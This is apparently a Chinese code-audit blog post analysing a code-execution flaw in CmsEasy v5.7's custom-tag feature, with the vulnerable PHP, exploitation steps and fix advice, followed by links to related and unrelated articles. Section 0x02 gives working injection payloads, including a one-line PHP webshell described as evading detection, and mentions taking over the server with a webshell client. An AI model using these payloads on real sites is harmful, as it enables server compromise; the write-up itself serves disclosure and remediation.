【代码审计】CmsEasy_v5.7 代码执行漏洞分析
0x00 环境准备
CmsEasy官网:http://www.cmseasy.cn/
网站源码版本:CmsEasy_v5.7_UTF8-0208
程序源码下载:
http://ftp.cmseasy.cn/CmsEasy5.x/CmsEasy_5.7_UTF-8_20180208.zip
测试网站首页:

0x01 代码分析
1、漏洞文件位置:/lib/table/table_templatetagwap.php 第3-20行:
- class table_templatetag extends table_mode {
- function vaild() {
- if(!front::post('name')) {
- front::flash('请填写名称!');
- return false;
- }
- if(!front::post('tagcontent')) {
- front::flash('请填写内容!');
- return false;
- 10. }
- 11. return true;
- 12. }
- 13. function save_before() {
- 14. if(!front::post('tagfrom')) front::$post['tagfrom']='define';
- 15. if(!front::post('attr1')) front::$post['attr1']='0';
- 16. if(front::$post['tagcontent']) front::$post['tagcontent'] = htmlspecialchars_decode(front::$post['tagcontent']);
- 17. }
18. }
可以看到在写入文件之前,使用htmlspecialchars_decode函数把预定义的 HTML 实体 "<"(小于)和 ">"(大于)转换为字符。因此我们可以使用双引号闭合,从而构造出Payload写入文件,进一步触发代码,导致程序在实现上存在代码执行漏洞。攻击者可通过构造恶意脚本代码写入配置文件,从而执行命令,控制网站服务器权限。
0x02 漏洞利用
1、登录后台, 模板--自定义标签—添加自定义标签--填写Payload—提交:
Payload: 1111111111";}<?php phpinfo()?>

2、提交保存后,点击预览,成功触发代码,或者查看id的值,然后直接访问文件路径:http://127.0.0.1/config/tag/category_13.php


3、附绕代码检测的一句话Payload: 11";}<?php assert($_POST[g]);?>

通过菜刀连接,控制网站服务器:

0x03 修复建议
1、写入配置文件前,对特殊字符(如”、<、>等)进行htmlencode处理;
2、全局配置可考虑写入数据库进行调用。
最后
欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。

【代码审计】CmsEasy_v5.7 代码执行漏洞分析的更多相关文章
- [转帖]Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626)
Windows DHCPServer远程代码执行漏洞分析(CVE-2019-0626) ADLab2019-03-15共23605人围观 ,发现 4 个不明物体安全报告漏洞 https://www.f ...
- 【代码审计】YUNUCMS_v1.0.6 后台代码执行漏洞分析
0x00 环境准备 QYKCMS官网:http://www.yunucms.com 网站源码版本:YUNUCMSv1.0.6 程序源码下载:http://www.yunucms.com/Downl ...
- 【代码审计】大米CMS_V5.5.3 任意文件删除及代码执行漏洞分析
0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...
- 【代码审计】OTCMS_PHP_V2.83_代码执行漏洞分析
0x00 环境准备 OTCMS官网:http://otcms.com 网站源码版本:网钛CMS PHP版 V2.83 [更新于2017.12.31] 程序源码下载:http://d.otcms.c ...
- 【代码审计】YzmCMS_PHP_v3.6 代码执行漏洞分析
0x00 环境准备 YzmCMS官网:http://www.yzmcms.com/ 程序源码下载:http://pan.baidu.com/s/1pKA4u99 测试网站首页: 0x01 代码分析 ...
- 【代码审计】大米CMS_V5.5.3 代码执行漏洞分析
0x00 环境准备 大米CMS官网:http://www.damicms.com 网站源码版本:大米CMS_V5.5.3试用版(更新时间:2017-04-15) 程序源码下载:http://www ...
- 【代码审计】XYHCMS V3.5代码执行漏洞分析
0x00 环境准备 XYHCMS官网:http://www.xyhcms.com/ 网站源码版本:XYHCMS V3.5(2017-12-04 更新) 程序源码下载:http://www.xyhc ...
- 【代码审计】QYKCMS_v4.3.2 后台down.php页面代码执行漏洞分析
0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...
- 【代码审计】DouPHP_v1.3代码执行漏洞分析
0x00 环境准备 DouPHP官网:http://www.douco.com/ 程序源码下载:http://down.douco.com/DouPHP_1.3_Release_20171002. ...
随机推荐
- 理解javascript中的回调函数(callback)【转】
在JavaScrip中,function是内置的类对象,也就是说它是一种类型的对象,可以和其它String.Array.Number.Object类的对象一样用于内置对象的管理.因为function实 ...
- MySQL递归查询树状表的子节点、父节点
表结构和表数据就不公示了,查询的表user_role,主键是id,每条记录有parentid字段; 如下mysql查询函数即可实现根据一个节点查询所有的子节点,根据一个子节点查询所有的父节点.对于数据 ...
- php命令行脚本 mock数据
<?php $con = mysql_connect("192.168.1.5:3306","root","123"); if (!$ ...
- Selenium常用操作汇总二——如何操作select下拉框
下面我们来看一下selenium webdriver是如何来处理select下拉框的,以http://passport.51.com/reg2.5p这个页面为例.这个页面中有4个下拉框,下面演示4种选 ...
- Axiom3D:数据绑定基本流程
在前面我们学习OpenGL时,不管绘制如球,立方体,平面,地面,动画模型中最常用的几个操作有创建缓冲区,写入缓冲区.在Axiom中,相关的操作被整合与组织到VertexData,IndexData中, ...
- Apache Commons CLI
简单的说,就是对命令的参数进行定义和解析的工具 -- 这里说的参数是我们常用的说法,而CLI里则是Option.Options,参数值(如果有)则是Option的arg(s). ## 为什么 那么,为 ...
- Hive Beeline 官方文档学习
Beeline 是什么? 它是一个命令行形式的jdbc客户端.搞Java开发的同学,看到这里就应该知道这货是什么了 ── 它是一个连接数据库的工具. 只不过Beeline连接的数据库是HiveServ ...
- SQL数据查询之——嵌套查询
一.概念描述 在SQL语言中,一个 SELECT-FROM-WHERE 语句称为一个查询块.将一个查询块嵌套在另一个查询块的 WHERE 子句或 HAVING 短语的条件中的查询称为 嵌套查询.例如: ...
- EXP无法导出空表的表结构解决办法
原文链接:http://www.cnblogs.com/Mr_JinRui/archive/2012/11/05/2755035.html 早的一次使用oracle 11g导出数据发现有的表丢失了,感 ...
- Linux网卡eth0变成eth1修改方法
由于换了主板,集成网卡mac地址变了,70-persistent-net.rules中仍然保留了老网卡的内容,新网卡则被识别为eth1. 将表示老网卡的行注释掉,然后将表示新网卡的行中eth1改成et ...